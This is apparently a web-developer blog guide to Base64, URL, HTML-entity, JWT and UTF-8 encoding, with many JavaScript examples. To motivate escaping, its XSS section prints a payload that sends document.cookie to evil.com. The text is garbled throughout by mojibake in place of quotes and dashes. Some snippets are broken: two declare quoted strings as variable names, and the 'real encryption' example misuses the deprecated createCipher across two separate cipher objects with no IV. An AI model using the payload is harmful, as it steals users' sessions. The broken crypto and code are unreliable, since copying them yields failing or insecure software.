Guides

Complete Guide to Encoding & Decoding for Web Developers

DevUtilHub Team
22 min read
Abstract visualization of data encoding transformation showing binary converting to text with colorful data streams

Iโ€™ve debugged more encoding issues than I care to admit. The worst was a 3 AM production incident where API requests were failing because someone forgot to URL-encode query parameters. Three hours of debugging, angry Slack messages, and cold coffee later, I realized the fix was literally one function call: encodeURIComponent(). That night taught me something crucial: encoding isnโ€™t optional knowledge for web developersโ€”itโ€™s fundamental.

Whether youโ€™re passing data in URLs, embedding images in CSS, handling authentication tokens, or processing user input, youโ€™re dealing with encoding. Understanding when and how to encode data properly will save you from security vulnerabilities, data corruption, and those โ€œworks on my machineโ€ bugs that only appear in production.

Letโ€™s dive into everything you need to know about encoding and decoding in modern web development.

Table of Contents

What Is Encoding and Why It Matters {#what-is-encoding}

Encoding is the process of converting data from one format to another so it can be safely transmitted, stored, or processed. Think of it like translating between languagesโ€”youโ€™re taking information in one format and representing it in a different way thatโ€™s understood by the receiving system.

Hereโ€™s why encoding matters in web development:

1. Compatibility: Different systems accept different characters. URLs canโ€™t contain spaces. JSON canโ€™t have unescaped quotes. HTML treats < and > as special characters. Encoding ensures your data works everywhere.

2. Security: Proper encoding prevents injection attacks. Iโ€™ve seen production systems compromised because developers didnโ€™t encode user input before inserting it into HTML or SQL queries.

3. Data Integrity: Binary data (like images) canโ€™t be transmitted as-is through text-based protocols. Encoding preserves the data without corruption.

4. Standards Compliance: Protocols like HTTP, SMTP, and JSON have strict requirements. Encoding ensures compliance with these standards.

Let me show you a real example. Last month I was integrating with a payment gateway API. Their documentation said to send user data as JSON:

// This broke everything
const userData = {
  name: "O'Brien",
  address: "123 Main St, Apt #5"
};

fetch('/api/payment', {
  method: 'POST',
  body: JSON.stringify(userData) // This actually works fine for JSON
});

But then we needed to pass this data in a URL parameter:

// WRONG - This breaks the URL
const url = `/payment?user=${JSON.stringify(userData)}`;
// Results in: /payment?user={"name":"O'Brien","address":"123 Main St, Apt #5"}
// The quotes, spaces, and special characters break URL parsing

// RIGHT - Properly encoded
const url = `/payment?user=${encodeURIComponent(JSON.stringify(userData))}`;
// Results in: /payment?user=%7B%22name%22%3A%22O%27Brien%22...

Thatโ€™s encoding in action. The data is the same, but the format changes to work within URL constraints.

Base64 Encoding: The Universal Text Format {#base64-encoding}

Base64 is probably the encoding scheme youโ€™ll encounter most often. I use it almost daily for various tasksโ€”from inspecting JWT tokens to embedding small images in CSS.

What Base64 Actually Does

Base64 converts binary data into a text format using only 64 characters: A-Z, a-z, 0-9, +, and /. Thatโ€™s it. Any dataโ€”images, PDFs, encrypted bytesโ€”can be represented as a Base64 string.

Hereโ€™s a practical example. This tiny 1x1 pixel red PNG image is 67 bytes in binary:

89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 ...

As Base64, it becomes:

iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==

Both represent the exact same image data, but Base64 can be safely transmitted in JSON, embedded in HTML, or sent via email.

When I Actually Use Base64

1. Data URIs in CSS/HTML

Instead of making HTTP requests for small images, I embed them directly:

<!-- Traditional approach: separate HTTP request -->
<img src="/icons/spinner.png" alt="Loading">

<!-- Data URI: no HTTP request needed -->
<img src="data:image/png;base64,iVBORw0KGgo..." alt="Loading">

This works great for small assets under 10KB. Larger images bloat your HTML and hurt caching, so I only use this for icons, loading spinners, and tiny graphics.

When I need to create these data URIs quickly, I keep our Base64 image encoder open. Itโ€™s faster than writing conversion code every time.

2. JWT Authentication Tokens

Every JWT youโ€™ve ever used is Base64-encoded JSON. A typical JWT looks like this:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEyMzQ1LCJleHAiOjE2MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

Those three parts separated by periods are:

  1. Header (Base64-encoded): {"alg":"HS256","typ":"JWT"}
  2. Payload (Base64-encoded): {"userId":12345,"exp":1616239022}
  3. Signature (cryptographically signed)

The payload is readable by anyone who decodes the Base64, which is why you should never put passwords or sensitive data in JWT tokens. Base64 is encoding, not encryption.

For a deep dive into JWTs, check out our complete guide to understanding JWT tokens.

3. API Data Transfer

Sometimes APIs need to send binary data in JSON. Last week I was working with a document API that returned PDF files as Base64 strings:

const response = await fetch('/api/invoice/12345');
const data = await response.json();
// data.pdf = "JVBERi0xLjQKJeLjz9MK..." (Base64-encoded PDF)

// Convert back to binary for download
const pdfData = atob(data.pdf);
const blob = new Blob([pdfData], { type: 'application/pdf' });
const url = URL.createObjectURL(blob);
window.open(url);

4. Email Attachments

Email protocols (SMTP) are text-based, so attachments get Base64-encoded. Youโ€™ll see this in email source code:

Content-Type: image/jpeg; name="photo.jpg"
Content-Transfer-Encoding: base64

/9j/4AAQSkZJRgABAQEAYABgAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsL
DBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/
...

Base64 in JavaScript: The Gotchas

JavaScript has two built-in functions for Base64:

// Encode: binary to ASCII (Base64)
const encoded = btoa('Hello, World!');
console.log(encoded); // "SGVsbG8sIFdvcmxkIQ=="

// Decode: ASCII (Base64) to binary
const decoded = atob('SGVsbG8sIFdvcmxkIQ==');
console.log(decoded); // "Hello, World!"

The naming is confusing: btoa means โ€œbinary to ASCIIโ€ (encode), and atob means โ€œASCII to binaryโ€ (decode). I still have to look this up sometimes.

The Unicode problem: btoa() only works with ASCII characters. Try encoding Unicode and it breaks:

// This fails!
btoa('Hello ไธ–็•Œ'); // DOMException: Failed to execute 'btoa'

// You need this workaround for Unicode:
function encodeUnicode(str) {
  return btoa(encodeURIComponent(str).replace(/%([0-9A-F]{2})/g,
    (match, p1) => String.fromCharCode('0x' + p1)));
}

function decodeUnicode(str) {
  return decodeURIComponent(atob(str).split('').map(c =>
    '%' + ('00' + c.charCodeAt(0).toString(16)).slice(-2)).join(''));
}

For anything beyond simple ASCII, I use our Base64 encoder which handles Unicode properly without the mental gymnastics.

Common Base64 Pitfalls

1. Thinking Base64 is encryption

This is the most dangerous misconception. Base64 is reversible by anyone:

// This doesn't hide anything!
const "secret" = btoa('my-api-key-12345');
localStorage.setItem('key', secret);
// Anyone can: atob(secret) and see your API key

For actual security, use real encryption libraries.

2. Base64-encoding large files

Base64 adds 33% overhead. A 1MB image becomes 1.33MB when encoded. Do this with large files and youโ€™ll kill performance:

// BAD: Encoding a 10MB video
const videoData = fs.readFileSync('video.mp4');
const base64Video = videoData.toString('base64');
// Now you're sending 13.3MB instead of 10MB!

Rule of thumb: Base64 is great for files under 100KB. Above that, use multipart/form-data or direct binary uploads.

3. URL-unsafe Base64

Standard Base64 uses + and / which break URLs:

const data = btoa('Subject??'); // "U3ViamVjdD8/"
const url = `https://api.com/data?token=${data}`;
// Broken! The / breaks URL parsing

For URLs, use the URL-safe Base64 variant (replace + with -, / with _, and remove padding):

function base64UrlEncode(str) {
  return btoa(str)
    .replace(/\+/g, '-')
    .replace(/\//g, '_')
    .replace(/=/g, '');
}

JWTs use this URL-safe variant, which is why they donโ€™t have + or / characters.

For everything you ever wanted to know about Base64, read our detailed guide on Base64 encoding explained.

URL Encoding: Safe Data in URLs {#url-encoding}

URLs can only contain certain characters. Try putting a space, ampersand, or question mark in a URL parameter and watch everything break. URL encoding (also called percent-encoding) solves this.

How URL Encoding Works

URL encoding replaces unsafe characters with a percent sign followed by two hexadecimal digits. For example:

  • Space becomes %20
  • & becomes %26
  • ? becomes %3F
  • + becomes %2B

Real-World URL Encoding

I was building a search feature that passed the query in the URL:

// User searches for: "C++ programming"

// WRONG - Breaks the URL
const url = `/search?q=C++ programming`;
// Browser interprets this as: /search?q=C
// Everything after the space is lost!

// CORRECT - Properly encoded
const query = encodeURIComponent('C++ programming');
const url = `/search?q=${query}`;
// Results in: /search?q=C%2B%2B%20programming

Two Functions, Different Uses

JavaScript has two URL encoding functions, and theyโ€™re NOT interchangeable:

encodeURIComponent(): Encodes everything including slashes, colons, question marks. Use this for parameter values:

const city = "New York";
const url = `/weather?city=${encodeURIComponent(city)}`;
// /weather?city=New%20York โœ“

encodeURI(): Leaves URL structure intact (doesnโ€™t encode /, :, ?). Use this for complete URLs:

const url = encodeURI('https://example.com/search?q=hello world');
// https://example.com/search?q=hello%20world โœ“

I made the mistake of using encodeURI() on URL parameters once. It didnโ€™t encode the & character, which broke our multi-parameter URLs. Always use encodeURIComponent() for individual parameter values.

Common URL Encoding Scenarios

1. Form Data Submission

const formData = {
  name: "Sarah O'Brien",
  email: "[email protected]",
  message: "This & that"
};

// Build query string
const params = Object.entries(formData)
  .map(([key, value]) =>
    `${encodeURIComponent(key)}=${encodeURIComponent(value)}`
  )
  .join('&');

// Results in: name=Sarah%20O%27Brien&email=sarah%2Bwork%40example.com&message=This%20%26%20that

2. Building API Requests

// API that accepts filters as URL params
const filters = {
  category: "Tools & Utilities",
  price: ">100",
  tags: ["web-dev", "productivity"]
};

const queryString = new URLSearchParams();
queryString.append('category', filters.category);
queryString.append('price', filters.price);
filters.tags.forEach(tag => queryString.append('tags[]', tag));

const url = `/api/products?${queryString.toString()}`;
// URLSearchParams handles encoding automatically!

Modern tip: Use URLSearchParams when possible. It handles encoding for you and is less error-prone than manual string building.

3. Preserving Data Integrity

// Sharing state in URL (like Google Maps does)
const mapState = {
  lat: 37.7749,
  lng: -122.4194,
  zoom: 12,
  layers: ['traffic', 'transit']
};

const encoded = encodeURIComponent(JSON.stringify(mapState));
const shareUrl = `https://maps.app/?state=${encoded}`;
// On the receiving end:
const state = JSON.parse(decodeURIComponent(params.get('state')));

URL Encoding Pitfalls

1. Double-encoding

This bit me hard once:

const param = "hello world";
const encoded1 = encodeURIComponent(param); // "hello%20world"
const encoded2 = encodeURIComponent(encoded1); // "hello%2520world" - WRONG!

// Server decodes once: "hello%20world" (not "hello world")

Only encode once, right before you build the URL.

2. Plus sign confusion

In URL query strings, + can mean space (legacy encoding):

// These are equivalent in query strings:
"hello%20world"  // Percent-encoded space
"hello+world"    // Plus sign as space (in query strings only!)

// But encodeURIComponent doesn't produce plus signs:
encodeURIComponent("hello world") // "hello%20world"

// And in other parts of URLs, + is literal:
"/api/c++/docs" !== "/api/c  /docs"

When in doubt, use %20 for spaces. It works everywhere.

3. Not decoding on the backend

// Frontend sends:
fetch(`/api/users?name=${encodeURIComponent("O'Brien")}`);

// Backend must decode:
// WRONG - you get the encoded version
const name = req.query.name; // "O%27Brien"

// RIGHT - properly decoded
const name = decodeURIComponent(req.query.name); // "O'Brien"

Most modern frameworks decode automatically, but always verify.

When I need to quickly check how a URL will be encoded, I use our URL encoder tool. Itโ€™s faster than opening a console and writing test code.

HTML Encoding: Preventing XSS Attacks {#html-encoding}

HTML encoding might seem boring, but itโ€™s one of the most important security measures in web development. Skip this and youโ€™re opening yourself to cross-site scripting (XSS) attacks.

What HTML Encoding Does

HTML has special characters: <, >, &, ", '. These characters control HTML structure. When you want to display them as text (not as HTML), you need to encode them:

  • < becomes &lt;
  • > becomes &gt;
  • & becomes &amp;
  • " becomes &quot;
  • ' becomes &#39; or &apos;

Why This Matters: A Security Story

I once reviewed code that displayed user comments like this:

// DANGEROUS CODE - Never do this!
document.getElementById('comments').innerHTML = userComment;

A security researcher showed me what happens when userComment is:

<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

That script would execute in every userโ€™s browser, stealing their session cookies. The fix was simpleโ€”HTML-encode the user input:

function escapeHTML(str) {
  const div = document.createElement('div');
  div.textContent = str;
  return div.innerHTML;
}

// Now the script tags display as text instead of executing
document.getElementById('comments').innerHTML = escapeHTML(userComment);
// Shows: &lt;script&gt;fetch('https://evil.com/steal?cookie='...

Or better yet, use textContent instead of innerHTML:

// Safest approach - automatically escapes everything
document.getElementById('comments').textContent = userComment;

Common HTML Encoding Scenarios

1. Displaying User Input

// User profile page
const bio = userInput.bio; // Could be: "I <3 coding & coffee"

// WRONG - loses special characters or executes code
element.innerHTML = bio;

// RIGHT - preserves everything safely
element.textContent = bio;
// Displays: I <3 coding & coffee

// Or if you need some HTML (like line breaks):
element.innerHTML = escapeHTML(bio).replace(/\n/g, '<br>');

2. Building HTML Strings

// Constructing HTML with user data
function createProductCard(product) {
  return `
    <div class="product">
      <h3>${escapeHTML(product.name)}</h3>
      <p>${escapeHTML(product.description)}</p>
      <span data-id="${escapeHTML(product.id)}">$${product.price}</span>
    </div>
  `;
}

3. JSON in HTML Attributes

// Passing data to client-side JavaScript
const userData = {
  name: "O'Brien",
  bio: 'Loves "coding"'
};

// WRONG - breaks attribute
<div data-user="${JSON.stringify(userData)}">

// RIGHT - encode for attribute safety
<div data-user="${escapeHTML(JSON.stringify(userData))}">
// Or use single quotes and escape appropriately
<div data-user='${JSON.stringify(userData).replace(/'/g, "&#39;")}'>

Framework Protection

Modern frameworks handle most HTML encoding automatically:

// React automatically escapes
const comment = "<script>alert('xss')</script>";
return <div>{comment}</div>; // Safe - displays as text

// Vue automatically escapes
<template>
  <div>{{ userComment }}</div> <!-- Safe -->
</template>

// Angular automatically escapes
<div>{{ userComment }}</div> <!-- Safe -->

But they donโ€™t protect you when you bypass their escaping:

// React - DANGEROUS
<div dangerouslySetInnerHTML={{__html: userComment}} />

// Vue - DANGEROUS
<div v-html="userComment"></div>

// Angular - DANGEROUS
<div [innerHTML]="userComment"></div>

Only bypass escaping when you control the content and have sanitized it.

HTML Encoding Tools

When I need to quickly encode HTML entities for testing or embedding, I use our HTML encoder. Itโ€™s also useful for decoding HTML entities when debugging API responses or analyzing third-party data.

JWT Tokens: Authentication Data Encoding {#jwt-tokens}

JWTs deserve special attention because they combine multiple encoding techniques and are critical for authentication in modern apps.

JWT Structure

A JWT has three Base64-encoded parts separated by periods:

xxxxx.yyyyy.zzzzz
  1. Header: Base64-encoded JSON with algorithm and token type
  2. Payload: Base64-encoded JSON with claims (user data)
  3. Signature: Cryptographic signature of header + payload

Real example:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
  .
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ
  .
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

When you decode the Base64, you see:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

Critical JWT Security Facts

1. JWTs are NOT encrypted

Anyone can decode them and read the payload:

const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...";
const payload = JSON.parse(atob(token.split('.')[1]));
console.log(payload); // Readable by anyone!

Never put sensitive data in JWTs: no passwords, credit cards, social security numbers, or API keys.

2. JWTs canโ€™t be revoked easily

Unlike sessions, you canโ€™t immediately invalidate a JWT. Theyโ€™re valid until they expire. This is why you should:

  • Keep expiration times short (15 minutes for access tokens)
  • Use refresh tokens for longer sessions
  • Implement token blacklisting for critical operations

3. Always validate signatures

// WRONG - just decoding without verification
const decoded = JSON.parse(atob(token.split('.')[1]));
authenticateUser(decoded.userId); // Anyone can forge this!

// RIGHT - verify signature first
const decoded = jwt.verify(token, SECRET_KEY);
authenticateUser(decoded.userId); // Now it's safe

For a comprehensive guide to JWT security and implementation, check out our article on understanding JWT tokens.

Character Encoding: UTF-8 and Beyond {#character-encoding}

Character encoding determines how text is represented as bytes. Get this wrong and youโ€™ll see weird characters like รขโ‚ฌโ„ข instead of apostrophes.

UTF-8: The Universal Standard

UTF-8 has won. Itโ€™s the de facto standard for the web, supporting every language and emoji. Itโ€™s backwards-compatible with ASCII and efficient for most use cases.

Always specify UTF-8 everywhere:

<!-- HTML -->
<meta charset="UTF-8">

<!-- HTTP headers -->
Content-Type: text/html; charset=UTF-8

<!-- JavaScript -->
<script charset="UTF-8" src="app.js"></script>

Common Encoding Issues

1. Mojibake (garbled text)

// File saved as Windows-1252, read as UTF-8
"It's working" โ†’ "Itรขโ‚ฌโ„ขs working"

// Always specify encoding when reading files:
const content = fs.readFileSync('file.txt', 'utf-8');

2. Byte Order Mark (BOM) issues

Some editors add a BOM (invisible character) at the start of UTF-8 files:

// File starts with BOM
const content = fs.readFileSync('file.json', 'utf-8');
JSON.parse(content); // Error: Unexpected token

// Remove BOM:
const cleanContent = content.replace(/^\uFEFF/, '');
JSON.parse(cleanContent); // Works!

3. Database encoding mismatches

-- MySQL - always use utf8mb4 (not utf8!)
CREATE TABLE users (
  name VARCHAR(255)
) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;

-- PostgreSQL uses UTF-8 by default
CREATE DATABASE myapp ENCODING 'UTF8';

MySQLโ€™s utf8 charset only supports 3-byte UTF-8 sequences, which breaks emoji and some Chinese characters. Always use utf8mb4.

When to Use Each Encoding Method {#when-to-use}

Hereโ€™s my decision tree for choosing the right encoding:

Use Base64 when:

  • Sending binary data through text-only protocols (JSON, XML, email)
  • Embedding small images in HTML/CSS (data URIs under 10KB)
  • Working with JWT tokens or API tokens
  • Storing binary data in text database fields

Use URL encoding when:

  • Passing data in URL query parameters
  • Building URLs with user input
  • Constructing form data strings
  • Any time data appears in a URL

Use HTML encoding when:

  • Displaying user-generated content
  • Building HTML strings with dynamic data
  • Preventing XSS attacks
  • Rendering text that might contain HTML special characters

Use proper character encoding (UTF-8) for:

  • Everything else
  • All text files, databases, HTML pages, APIs
  • International text and emoji support

Common Encoding Mistakes {#common-mistakes}

Mistake #1: Mixing Up Encoding and Encryption

// This is NOT secure!
const "encryptedPassword" = btoa(password);
// Anyone can decode: atob("encryptedPassword")

Encoding is reversible. Encryption requires a key. For security, use real cryptographic libraries:

const crypto = require('crypto');
const encrypted = crypto.createCipher('aes-256-cbc', key)
  .update(password, 'utf8', 'base64') +
  crypto.createCipher('aes-256-cbc', key).final('base64');

Mistake #2: Encoding Multiple Times

// Double-encoding creates problems
const data = "hello world";
const encoded1 = encodeURIComponent(data); // "hello%20world"
const encoded2 = encodeURIComponent(encoded1); // "hello%2520world" โŒ

// Server decodes once: "hello%20world" (not "hello world")

Only encode once, right before using the data.

Mistake #3: Not Encoding At All

// Building URLs without encoding
const search = "a & b"; // User input
const url = `/search?q=${search}`; // โŒ Breaks the URL

// Browser interprets this as two parameters:
// q=a
// b (with no value)

Always encode user input before using it in URLs, HTML, or SQL.

Mistake #4: Trusting Client-Side Encoding for Security

// WRONG - client can bypass this
const sanitized = encodeHTML(userInput);
sendToServer(sanitized);

// RIGHT - always validate and encode on the server
app.post('/comment', (req, res) => {
  const sanitized = validator.escape(req.body.comment);
  database.save(sanitized);
});

Never trust client-side security measures. Always validate and encode on the server.

Best Practices and Security {#best-practices}

1. Always Validate After Decoding

function processUserData(encodedData) {
  // Decode
  const decoded = decodeURIComponent(encodedData);

  // ALWAYS validate decoded data
  if (!isValid(decoded)) {
    throw new Error('Invalid data format');
  }

  // Then use it
  return processData(decoded);
}

2. Use Established Libraries

Donโ€™t roll your own encoding functions for security-critical operations:

// For HTML sanitization:
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirty);

// For JWT:
import jwt from 'jsonwebtoken';
const token = jwt.sign(payload, secret);

// For URL building:
const url = new URL('https://api.example.com/search');
url.searchParams.append('q', userQuery); // Handles encoding

3. Set Correct Content-Type Headers

// API responses
res.setHeader('Content-Type', 'application/json; charset=UTF-8');

// HTML pages
res.setHeader('Content-Type', 'text/html; charset=UTF-8');

// Form submissions
fetch('/api', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'
  },
  body: formData
});

4. Test with Edge Cases

Always test your encoding with:

  • Special characters: <, >, &, ", ', /, \
  • Unicode: emoji, Chinese characters, accented letters
  • Whitespace: spaces, tabs, newlines
  • Long strings: ensure no truncation
  • Empty strings: handle gracefully
  • Null/undefined: donโ€™t crash

5. Document Your Encoding Choices

When I work on APIs, I always document the encoding format:

/**
 * API Endpoint: POST /api/users
 *
 * Request body format:
 * - Content-Type: application/json; charset=UTF-8
 * - All string values should be UTF-8 encoded
 * - Avatar images should be Base64-encoded PNG/JPEG
 *
 * URL parameters:
 * - All parameters must be URL-encoded (encodeURIComponent)
 * - Special characters will be rejected if not properly encoded
 */

FAQ

Q: Is Base64 encoding the same as encryption?

No! Base64 is encoding, not encryption. Anyone can decode Base64โ€”thereโ€™s no secret key required. Itโ€™s designed for data compatibility, not security. Always transmit Base64-encoded sensitive data over HTTPS, and never rely on Base64 for security.

Q: When should I use encodeURI vs encodeURIComponent?

Use encodeURIComponent() for individual parameter values (it encodes everything except A-Z, a-z, 0-9, -, _, ., ~). Use encodeURI() for complete URLs where you want to preserve the URL structure (doesnโ€™t encode :, /, ?, #).

Q: Why do I see garbled characters like รขโ‚ฌโ„ข instead of apostrophes?

This is a character encoding mismatch. The file was saved in one encoding (like Windows-1252) but read as another (like UTF-8). Always specify UTF-8 everywhere: HTML meta tags, HTTP headers, database tables, and file operations.

Q: Can I store passwords in Base64-encoded format?

Absolutely not. Base64 is encoding, not encryptionโ€”anyone can decode it instantly. Passwords should be hashed with a proper algorithm like bcrypt, argon2, or PBKDF2. Never store passwords encoded or in plain text.

Q: How do I know if my data needs URL encoding?

If the data will appear in a URL (especially in query parameters), encode it with encodeURIComponent(). This includes: form values, search queries, user input, any data with special characters (spaces, &, =, ?, #, etc.).

Q: Whatโ€™s the difference between HTML entities like < and numeric codes like <?

Both represent the same character (<). Named entities (&lt;) are more readable. Numeric entities (&#60;) work for any Unicode character. Use whichever is clearer, but named entities are generally preferred for common characters.


Related Posts:

Encoding & Decoding Tools:

Tags

#encoding #decoding #base64 #URL encoding #HTML entities #JWT #web development

Share this article

Related Articles